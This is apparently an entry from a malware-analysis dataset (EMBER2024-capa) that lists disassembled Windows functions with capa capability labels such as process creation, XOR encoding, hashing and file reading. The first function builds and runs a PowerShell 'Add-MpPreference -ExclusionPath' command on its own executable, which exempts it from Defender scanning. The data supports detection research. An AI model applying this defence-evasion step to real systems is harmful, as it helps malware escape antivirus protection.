joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14005d2b0
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push rbx
sub rsp, 0x220
mov r8d, 0x104
lea rdx, [rsp + 0x100]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x14005d44a
xor ebx, ebx
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], setsockopt
mov byte [rsp + 0x50], bl
lea r8d, [rbx + 0x36]
lea rdx, str.powershell__Command__Add_MpPreference__ExclusionPath_
lea rcx, [rsp + 0x50]
call fcn.14006d3a0
nop
lea rax, [rsp + 0x100]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14005d315
lea rdx, [rsp + 0x100]
lea rcx, [rsp + 0x50]
call fcn.14006d500
mov r8d, 2
lea rdx, [0x1401763f0]
lea rcx, [rsp + 0x50]
call fcn.14006d500
mov dword [rsp + 0x90], WSAGetLastError
xorps xmm0, xmm0
movups xmmword [rsp + 0x98], xmm0
movups xmmword [rsp + 0xa8], xmm0
movups xmmword [rsp + 0xb8], xmm0
movups xmmword [rsp + 0xc8], xmm0
movups xmmword [rsp + 0xd8], xmm0
movups xmmword [rsp + 0xe8], xmm0
mov dword [rsp + 0xcc], 1
mov word [rsp + 0xd0], bx
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0x10
cmovae rdx, qword [rsp + 0x50]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14005d410
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x14005d44a
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005d444
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005d453
call fcn.1400f29ec
nop
add rsp, 0x220
pop rbx
ret
call fcn.140104ed8
nop
int3
Function at 0x140060fb0
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0x38
call fcn.14006a080
xor r9d, r9d
mov dword [rsp + 0x28], 5
mov r8, rax
mov qword [rsp + 0x20], 0
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0xffffffff
call fcn.140105bec
int3
Function at 0x140070e10
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov r15, qword [r8 + 0x18]
mov r14, rdx
mov rsi, qword [r8 + 0x10]
mov rdi, r8
mov rdx, rcx
mov r10, r8
cmp r15, 0x10
jb 0x140070e46
mov r10, qword [r8]
xor r8d, r8d
movabs r9, 0xcbf29ce484222325
test rsi, rsi
je 0x140070e84
movabs rcx, 0x100000001b3
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + r10]
inc r8
xor r9, rax
imul r9, rcx
cmp r8, rsi
jb 0x140070e70
mov rcx, qword [rdx + 0x30]
mov rax, qword [rdx + 0x18]
and rcx, r9
mov r12, qword [rdx + 8]
add rcx, rcx
mov qword [rsp + 0x40], rbp
mov rbx, qword [rax + rcx*8 + 8]
cmp rbx, r12
je 0x140070ef4
mov rbp, qword [rax + rcx*8]
nop dword [rax]
cmp qword [rbx + 0x28], 0x10
lea rdx, [rbx + 0x10]
mov rax, qword [rdx + 0x10]
jb 0x140070ec2
mov rdx, qword [rdx]
mov rcx, rdi
cmp r15, 0x10
jb 0x140070ece
mov rcx, qword [rdi]
cmp rsi, rax
jne 0x140070edf
mov r8, rsi
call fcn.1400f54d0
test eax, eax
je 0x140070eea
cmp rbx, rbp
je 0x140070ef4
mov rbx, qword [rbx + 8]
jmp 0x140070eb0
test rbx, rbx
je 0x140070ef4
mov qword [r14], rbx
jmp 0x140070ef7
mov qword [r14], r12
mov rbp, qword [rsp + 0x40]
mov rax, r14
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x140086150
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x50
mov rbx, r9
mov rbp, r8
mov r14d, edx
mov r15, rcx
mov dword [rax - 0x38], 0x78563412
cmp dword [rcx + 0x58], 1
jbe 0x140086353
xorps xmm0, xmm0
movdqu xmmword [rax - 0x30], xmm0
xor esi, esi
mov qword [rax - 0x20], rsi
mov byte [rax + 8], sil
movzx eax, byte [rcx + 0x5c]
neg al
sbb rdx, rdx
and edx, 4
mov eax, esi
mov ecx, 2
cmp r8, 0x7e
cmovae eax, ecx
add rdx, rax
mov eax, 8
cmp r8, 0x10000
cmovae ecx, eax
add rdx, rcx
lea r8, [rsp + 0x70]
lea rcx, [rsp + 0x38]
call fcn.140086600
or r14b, 0x80
mov rdi, qword [rsp + 0x38]
mov byte [rdi], r14b
movzx edx, byte [r15 + 0x5c]
cmp rbp, 0x7e
jae 0x14008620e
neg dl
sbb al, al
and al, 0x80
or al, bpl
mov byte [rdi + 1], al
cmp byte [r15 + 0x5c], sil
je 0x1400862ae
mov dword [rdi + 2], 0x78563412
jmp 0x1400862ae
mov rcx, rbp
shr rcx, 8
cmp rbp, 0x10000
jae 0x140086249
mov eax, 0x7e
mov r8d, 0xfe
test dl, dl
cmovne eax, r8d
mov byte [rdi + 1], al
mov byte [rdi + 2], cl
mov byte [rdi + 3], bpl
cmp byte [r15 + 0x5c], 0
je 0x1400862ae
mov dword [rdi + 4], 0x78563412
jmp 0x1400862ae
mov eax, 0x7f
mov r8d, 0xff
test dl, dl
cmovne eax, r8d
mov byte [rdi + 1], al
mov rax, rbp
shr rax, 0x38
mov byte [rdi + 2], al
mov rax, rbp
shr rax, 0x30
mov byte [rdi + 3], al
mov rax, rbp
shr rax, 0x28
mov byte [rdi + 4], al
mov rax, rbp
shr rax, 0x20
mov byte [rdi + 5], al
mov rax, rbp
shr rax, 0x18
mov byte [rdi + 6], al
mov rax, rbp
shr rax, 0x10
mov byte [rdi + 7], al
mov byte [rdi + 8], cl
mov byte [rdi + 9], bpl
cmp byte [r15 + 0x5c], 0
je 0x1400862ae
mov dword [rdi + 0xa], 0x78563412
mov rdx, qword [r15 + 0x28]
mov r9, qword [rsp + 0x40]
mov r8, rdi
lea rcx, [r15 + 0x20]
call fcn.1400867a0
mov rdx, qword [r15 + 0x28]
mov r9, qword [rsp + 0x90]
mov r8, rbx
lea rcx, [r15 + 0x20]
call fcn.1400867a0
cmp byte [r15 + 0x5c], 0
je 0x140086322
mov r8, qword [r15 + 0x28]
sub r8, qword [r15 + 0x20]
sub r8, rbp
test rbp, rbp
je 0x140086322
nop dword [rax]
nop word [rax + rax]
mov rdx, qword [r15 + 0x20]
add rdx, rsi
movzx ecx, byte [rdx + r8]
mov rax, rsi
and eax, 3
xor cl, byte [rsp + rax + 0x30]
mov byte [rdx + r8], cl
inc rsi
cmp rsi, rbp
jne 0x140086300
mov rdx, qword [rsp + 0x48]
sub rdx, rdi
mov rax, rdi
cmp rdx, 0x1000
jb 0x14008634b
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14008636d
mov rcx, rdi
call fcn.1400f29ec
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
call fcn.140104ed8
int3
Function at 0x140086380
Capabilities:
Encode data using xor

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
mov dword [rsp + 0x10], edx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x50
mov rbx, r9
mov rbp, r8
mov r15, rcx
mov dword [r11 + 8], 0x78563412
cmp dword [rcx + 0x58], 1
jbe 0x140086576
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
xor esi, esi
mov qword [r11 - 0x38], rsi
mov byte [r11 + 0x10], sil
movzx eax, byte [rcx + 0x5c]
neg al
sbb rdx, rdx
and edx, 4
mov eax, esi
mov ecx, 2
cmp r8, 0x7e
cmovae eax, ecx
add rdx, rax
mov eax, 8
cmp r8, 0x10000
cmovae ecx, eax
add rdx, rcx
lea r8, [r11 + 0x10]
lea rcx, [r11 - 0x48]
call fcn.140086600
mov rdi, qword [rsp + 0x30]
mov byte [rdi], 0x82
movzx edx, byte [r15 + 0x5c]
cmp rbp, 0x7e
jae 0x140086435
neg dl
sbb al, al
and al, 0x80
or al, bpl
mov byte [rdi + 1], al
cmp byte [r15 + 0x5c], sil
je 0x1400864d5
mov dword [rdi + 2], 0x78563412
jmp 0x1400864d5
mov rcx, rbp
shr rcx, 8
cmp rbp, 0x10000
jae 0x140086470
mov eax, 0x7e
mov r8d, 0xfe
test dl, dl
cmovne eax, r8d
mov byte [rdi + 1], al
mov byte [rdi + 2], cl
mov byte [rdi + 3], bpl
cmp byte [r15 + 0x5c], 0
je 0x1400864d5
mov dword [rdi + 4], 0x78563412
jmp 0x1400864d5
mov eax, 0x7f
mov r8d, 0xff
test dl, dl
cmovne eax, r8d
mov byte [rdi + 1], al
mov rax, rbp
shr rax, 0x38
mov byte [rdi + 2], al
mov rax, rbp
shr rax, 0x30
mov byte [rdi + 3], al
mov rax, rbp
shr rax, 0x28
mov byte [rdi + 4], al
mov rax, rbp
shr rax, 0x20
mov byte [rdi + 5], al
mov rax, rbp
shr rax, 0x18
mov byte [rdi + 6], al
mov rax, rbp
shr rax, 0x10
mov byte [rdi + 7], al
mov byte [rdi + 8], cl
mov byte [rdi + 9], bpl
cmp byte [r15 + 0x5c], 0
je 0x1400864d5
mov dword [rdi + 0xa], 0x78563412
mov rdx, qword [r15 + 0x28]
mov r9, qword [rsp + 0x38]
mov r8, rdi
lea rcx, [r15 + 0x20]
call fcn.1400867a0
mov rdx, qword [r15 + 0x28]
mov r9, qword [rsp + 0xa0]
mov r8, rbx
lea rcx, [r15 + 0x20]
call fcn.1400867a0
cmp byte [r15 + 0x5c], 0
je 0x140086545
mov r8, qword [r15 + 0x28]
sub r8, qword [r15 + 0x20]
sub r8, rbp
test rbp, rbp
je 0x140086545
nop dword [rax]
mov rdx, qword [r15 + 0x20]
add rdx, rsi
movzx ecx, byte [rdx + r8]
mov rax, rsi
and eax, 3
xor cl, byte [rsp + rax + 0x80]
mov byte [rdx + r8], cl
inc rsi
cmp rsi, rbp
jne 0x140086520
mov rdx, qword [rsp + 0x40]
sub rdx, rdi
mov rax, rdi
cmp rdx, 0x1000
jb 0x14008656e
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14008658a
mov rcx, rdi
call fcn.1400f29ec
mov rbx, qword [rsp + 0x90]
add rsp, 0x50
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call fcn.140104ed8
int3
Function at 0x140098010
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0x50
mov rax, qword [rcx + 8]
mov ebp, r8d
mov ecx, 0x3e80000
mov rbx, qword [rax + 0x2f0]
mov rax, qword [rdx + 0x80]
movzx edx, word [rdx + 0x68]
movzx edi, word [rax + 0x18]
mov eax, 0x40000
shl edi, 0x10
cmp edi, eax
cmovl edi, eax
shl edx, 0x10
call fcn.1400870c0
mov dword [rsp + 0x24], eax
mov ecx, eax
cmp eax, 0x28f
jge 0x140098066
xor eax, eax
add rsp, 0x50
pop rdi
pop rbp
pop rbx
ret
mov eax, dword [rbx + 0x24]
mov qword [rsp + 0x80], rsi
mov esi, dword [rbx + 0x28]
mov qword [rsp + 0x48], r12
mov r12d, dword [rbx + 0x3c]
mov qword [rsp + 0x40], r13
mov r13d, dword [rbx + 0x38]
mov dword [rsp + 0x88], eax
mov eax, dword [rbx + 0x2c]
mov qword [rsp + 0x38], r14
mov r14d, dword [rbx + 0x40]
mov dword [rsp + 0x70], eax
mov eax, dword [rbx + 0x34]
mov qword [rsp + 0x30], r15
mov r15d, dword [rbx + 0x30]
mov dword [rsp + 0x78], eax
mov dword [rsp + 0x20], r12d
test ebp, ebp
jg 0x1400980bd
mov ebp, 0x4b0000
jmp 0x1400980cb
shl ebp, 0x10
mov edx, ecx
mov ecx, ebp
call fcn.140089500
mov ebp, eax
bsr ecx, ebp
bsr eax, edi
shl r12d, 0x10
add eax, ecx
cmp eax, 0x2e
jl 0x1400980e1
mov eax, r12d
jmp 0x1400980ea
mov edx, edi
mov ecx, ebp
call fcn.140089500
mov r9d, dword [rsp + 0x88]
mov ecx, r9d
shl ecx, 0x10
cmp eax, ecx
jge 0x140098106
shl esi, 0x10
mov ecx, esi
jmp 0x1400981f5
mov r8d, dword [rsp + 0x70]
mov edx, r8d
shl edx, 0x10
mov dword [rsp + 0x88], edx
cmp eax, edx
jge 0x140098164
mov ebx, r8d
mov edx, edi
sub ebx, r9d
call fcn.1400870c0
mov ecx, ebp
sub ecx, eax
test ebx, ebx
je 0x140098154
sub r15d, esi
mov r8d, ebx
mov edx, r15d
call fcn.1400893d0
shl esi, 0x10
mov edx, edi
mov ecx, esi
mov ebx, eax
call fcn.1400870c0
add ebx, eax
jmp 0x1400981fe
mov esi, dword [rsp + 0x78]
mov ebx, esi
mov r8d, dword [rsp + 0x70]
shl ebx, 0x10
jmp 0x140098171
mov esi, dword [rsp + 0x78]
mov ebx, esi
shl ebx, 0x10
cmp eax, ebx
jge 0x1400981b0
mov ecx, dword [rsp + 0x88]
mov r12d, esi
mov edx, edi
sub r12d, r8d
call fcn.1400870c0
mov ecx, ebp
sub ecx, eax
test r12d, r12d
je 0x1400981b5
sub r13d, r15d
mov r8d, r12d
mov edx, r13d
call fcn.1400893d0
shl r15d, 0x10
mov edx, edi
mov ecx, r15d
mov ebx, eax
call fcn.1400870c0
add ebx, eax
jmp 0x1400981fe
cmp eax, r12d
jge 0x1400981ee
mov r15d, dword [rsp + 0x20]
mov edx, edi
mov ecx, ebx
call fcn.1400870c0
sub ebp, eax
sub r15d, esi
je 0x1400981ee
sub r14d, r13d
mov r8d, r15d
mov edx, r14d
mov ecx, ebp
call fcn.1400893d0
shl r13d, 0x10
mov edx, edi
mov ecx, r13d
mov ebx, eax
call fcn.1400870c0
add ebx, eax
jmp 0x1400981fe
shl r14d, 0x10
mov ecx, r14d
mov edx, edi
call fcn.1400870c0
mov ebx, eax
mov edx, dword [rsp + 0x24]
mov ecx, ebx
mov r15, qword [rsp + 0x30]
mov r14, qword [rsp + 0x38]
mov r13, qword [rsp + 0x40]
mov r12, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x80]
add rsp, 0x50
pop rdi
pop rbp
pop rbx
jmp fcn.1400870c0
Function at 0x1400e4290
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push r14
sub rsp, 0x250
mov rax, qword [0x1401a61e8]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov eax, dword [rcx + 0x58]
lea rbx, [rsp + 0x30]
mov dword [rsp + 0x40], eax
mov ebp, r9d
mov eax, dword [rcx + 0x5c]
mov rsi, rcx
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x290]
mov dword [rsp + 0x34], eax
mov dword [rsp + 0x38], edx
mov dword [rsp + 0x3c], r8d
mov dword [rsp + 0x30], r9d
mov qword [rsp + 0x278], rdi
nop dword [rax]
mov r10d, dword [rbx + 0x14]
mov eax, r10d
mov r14d, dword [rbx + 4]
cmp r10d, r14d
mov r9d, dword [rbx + 0xc]
cmovg eax, r14d
cmp r9d, eax
jl 0x1400e442c
cmp r10d, r14d
mov eax, r14d
cmovg eax, r10d
cmp r9d, eax
jg 0x1400e442c
cmp r10d, r14d
jne 0x1400e4330
sub rbx, 0x10
jmp 0x1400e4474
mov edx, dword [rsi + 0x88]
xor r9d, r9d
cmp r10d, r14d
setge r9b
inc r9d
cmp edx, r9d
je 0x1400e43a2
mov eax, dword [rsi + 4]
mov ecx, eax
mov r8d, dword [rsi + 8]
neg ecx
cmp r10d, r14d
jge 0x1400e4364
dec eax
add eax, r10d
and eax, ecx
sub eax, r10d
jmp 0x1400e436c
and ecx, r10d
mov eax, r10d
sub eax, ecx
cmp eax, r8d
setge r11b
test edx, edx
je 0x1400e438b
movzx edx, r11b
mov rcx, rsi
call fcn.1400e5440
test al, al
jne 0x1400e4485
movzx r8d, r11b
mov edx, r9d
mov rcx, rsi
call fcn.1400e5ab0
test al, al
jne 0x1400e4485
mov edx, dword [rsi + 0x64]
lea r9, [0x1400e5e10]
mov ecx, dword [rsi + 0x60]
mov r8, rbx
cmp r10d, r14d
jge 0x1400e43ce
mov dword [rsp + 0x28], edx
mov edx, 2
mov dword [rsp + 0x20], ecx
mov rcx, rsi
call fcn.1400e4110
jmp 0x1400e4422
mov eax, dword [rbx + 4]
neg ecx
movzx edi, byte [rsi + 0x6a]
neg eax
mov dword [rbx + 4], eax
neg edx
mov eax, dword [rbx + 0xc]
neg eax
mov dword [rsp + 0x28], ecx
mov dword [rbx + 0xc], eax
mov rcx, rsi
mov eax, dword [rbx + 0x14]
neg eax
mov dword [rsp + 0x20], edx
mov edx, 2
mov dword [rbx + 0x14], eax
call fcn.1400e4110
test dil, dil
je 0x1400e441a
cmp byte [rsi + 0x6a], 0
jne 0x1400e441a
mov rdx, qword [rsi + 0x70]
mov ecx, dword [rdx + 0x20]
neg ecx
mov dword [rdx + 0x20], ecx
mov ecx, dword [rbx + 4]
neg ecx
mov dword [rbx + 4], ecx
test al, al
jne 0x1400e4485
sub rbx, 0x10
jmp 0x1400e4474
mov eax, dword [rbx + 8]
mov ecx, dword [rbx + 0x10]
mov dword [rbx + 0x20], ecx
add ecx, eax
mov dword [rbx + 0x24], r10d
lea edx, [rax + rbp]
mov eax, ecx
sar eax, 1
mov dword [rbx + 0x18], eax
lea eax, [rcx + rdx]
sar eax, 2
lea ecx, [r10 + r9]
mov dword [rbx + 0x10], eax
mov eax, ecx
sar edx, 1
sar eax, 1
mov dword [rbx + 8], edx
lea edx, [r14 + r9]
mov dword [rbx + 0x1c], eax
lea eax, [rcx + rdx]
sar eax, 2
sar edx, 1
mov dword [rbx + 0x14], eax
mov dword [rbx + 0xc], edx
add rbx, 0x10
lea rax, [rsp + 0x30]
cmp rbx, rax
jb 0x1400e4489
mov ebp, dword [rbx]
jmp 0x1400e42f0
mov al, 1
jmp 0x1400e4492
mov dword [rsi + 0x58], ebp
xor al, al
mov dword [rsi + 0x5c], r14d
mov rdi, qword [rsp + 0x278]
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.1400f3320
mov rbx, qword [rsp + 0x280]
add rsp, 0x250
pop r14
pop rsi
pop rbp
ret
Function at 0x1400ea7e0
Capabilities:
Get file size
Read file on windows
Read file via mapping

Disassembly:
push rbx
push rbp
sub rsp, 0x48
mov rbp, rdx
mov rbx, rcx
test rcx, rcx
jne 0x1400ea7fc
lea eax, [rcx + 0x28]
add rsp, 0x48
pop rbp
pop rbx
ret
mov qword [rsp + 0x68], rsi
xor r9d, r9d
mov qword [rsp + 0x40], r14
mov edx, 0x80000000
xor r14d, r14d
mov rcx, rbp
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
lea r8d, [r14 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400ea850
mov r14, qword [rsp + 0x40]
lea eax, [rsi + 2]
mov rsi, qword [rsp + 0x68]
add rsp, 0x48
pop rbp
pop rbx
ret
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x78], rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1400ea975
mov rax, qword [rsp + 0x70]
cmp rax, 0x7fffffff
jg 0x1400ea975
test rax, rax
je 0x1400ea975
xor r9d, r9d
mov qword [rsp + 0x28], r14
xor edx, edx
mov dword [rsp + 0x20], r14d
mov rcx, rsi
lea r8d, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov rdi, rax
test rax, rax
je 0x1400ea975
mov ecx, dword [rsp + 0x70]
xor r9d, r9d
mov dword [rbx + 8], ecx
xor r8d, r8d
mov rcx, rax
mov dword [rbx + 0xc], r14d
mov qword [rsp + 0x20], r14
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rcx, rdi
mov qword [rbx], rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbx], r14
je 0x1400ea8ea
lea rax, [0x1400ea9d0]
jmp 0x1400ea943
mov rcx, qword [rbx + 0x30]
xor edx, edx
movsxd r8, dword [rbx + 8]
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbx], rax
test rax, rax
je 0x1400ea975
mov edi, r14d
nop dword [rax + rax]
mov r8d, dword [rbx + 8]
lea r9, [rsp + 0x60]
mov edx, edi
sub r8d, edi
add rdx, qword [rbx]
mov rcx, rsi
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400ea963
add edi, dword [rsp + 0x60]
cmp edi, dword [rbx + 8]
jne 0x1400ea910
lea rax, [0x1400ea9a0]
mov rcx, rsi
mov qword [rbx + 0x28], rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbx]
mov qword [rbx + 0x10], rax
xor eax, eax
mov qword [rbx + 0x18], rbp
mov qword [rbx + 0x20], r14
jmp 0x1400ea98a
mov rcx, qword [rbx + 0x30]
xor edx, edx
mov r8, qword [rbx]
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x51
mov qword [rbx], r14
mov qword [rbx + 8], r14
mov rdi, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x68]
mov r14, qword [rsp + 0x40]
add rsp, 0x48
pop rbp
pop rbx
ret
Function at 0x1400eb6d0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov r9, rdx
test rdx, rdx
jne 0x1400eb6db
xor eax, eax
ret
lea r11, [0x14014a110]
not ecx
cmp r8d, 8
jb 0x1400eb7b1
mov r10d, r8d
shr r10, 3
nop word [rax + rax]
movzx edx, byte [r9]
mov eax, ecx
xor rdx, rax
shr ecx, 8
movzx eax, dl
add r8d, 0xfffffff8
movzx edx, byte [r9 + 1]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 2]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 3]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 4]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 5]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 6]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 7]
add r9, 8
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
xor ecx, dword [r11 + rax*4]
sub r10, 1
jne 0x1400eb700
test r8d, r8d
je 0x1400eb7dd
nop word [rax + rax]
movzx edx, byte [r9]
lea r9, [r9 + 1]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
xor ecx, dword [r11 + rax*4]
add r8d, 0xffffffff
jne 0x1400eb7c0
not ecx
mov eax, ecx
ret
Function at 0x140105bec
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x140105a7f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140105a7f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140105a7f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140105a7f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140105a7f
cmp dword [rcx + 0x84], 0xe
jbe 0x140105a7f
cmp dword [rcx + 0xf8], 0
je 0x140105a7f
mov ecx, ebx
call fcn.140105b20
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.140105910
cmp dword [rbp + 0x20], 0
je 0x140105acc
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140105ad4
int3
xor r8d, r8d
xor edx, edx
jmp 0x140105a18
Function at 0x180002040
Capabilities:
Get file size

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push r12
sub rsp, 0x40
xor ebx, ebx
xor r9d, r9d
mov edx, 0x80000000
mov qword [rsp + 0x30], rbx
lea r8d, [rbx + 1]
mov dword [rsp + 0x28], 0x80
mov r12, rcx
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x18000212a
xor edx, edx
mov rcx, rax
mov qword [rsp + 0x58], rdi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov rcx, rsi
movsxd rdi, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
jle 0x180002125
mov rcx, qword [0x18003be50]
mov eax, recvfrom
mov qword [rsp + 0x50], rbp
lea ebp, [rdi + 1]
cmp ebp, eax
cmovl ebp, eax
test ebp, ebp
cmovle ebp, eax
call fcn.1800010a0
mov rsi, rax
test rax, rax
je 0x1800020ea
mov rdx, rax
mov ecx, ebp
mov dword [rax + 4], ebx
call fcn.180001120
mov qword [rsi + 8], rax
mov byte [rax], bl
mov rbx, rsi
mov rdx, qword [rbx + 8]
mov r9d, edi
xor r8d, r8d
mov rcx, r12
call fcn.180003a10
mov rcx, qword [rbx + 8]
mov rbp, qword [rsp + 0x50]
mov dword [rbx + 4], edi
mov rax, rbx
mov byte [rdi + rcx], 0
mov rdi, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop r12
ret
mov rax, rbx
jmp 0x18000210f
mov rsi, qword [rsp + 0x68]
mov rax, rbx
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop r12
ret

Function at 0x180002140
Capabilities:
Get file size

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov rbp, rdx
xor r9d, r9d
mov rbx, rcx
mov qword [rsp + 0x30], 0
lea r8d, [r9 + 1]
mov edx, 0x80000000
mov rcx, rbp
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1800021e9
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov rcx, rsi
movsxd rdi, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x1800021e9
mov edx, dword [rbx]
cmp edi, edx
jl 0x1800021ca
mov rcx, qword [rbx + 8]
call fcn.180001240
lea ecx, [rdi + 1]
mov rdx, rbx
call fcn.180001120
mov qword [rbx + 8], rax
mov rdx, qword [rbx + 8]
mov r9d, edi
xor r8d, r8d
mov rcx, rbp
mov dword [rbx + 4], edi
call fcn.180003a10
mov rax, qword [rbx + 8]
mov byte [rdi + rax], 0
jmp 0x1800021f8
lea rdx, [0x18002e50b]
mov rcx, rbx
call fcn.180001ab0
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rax, rbx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret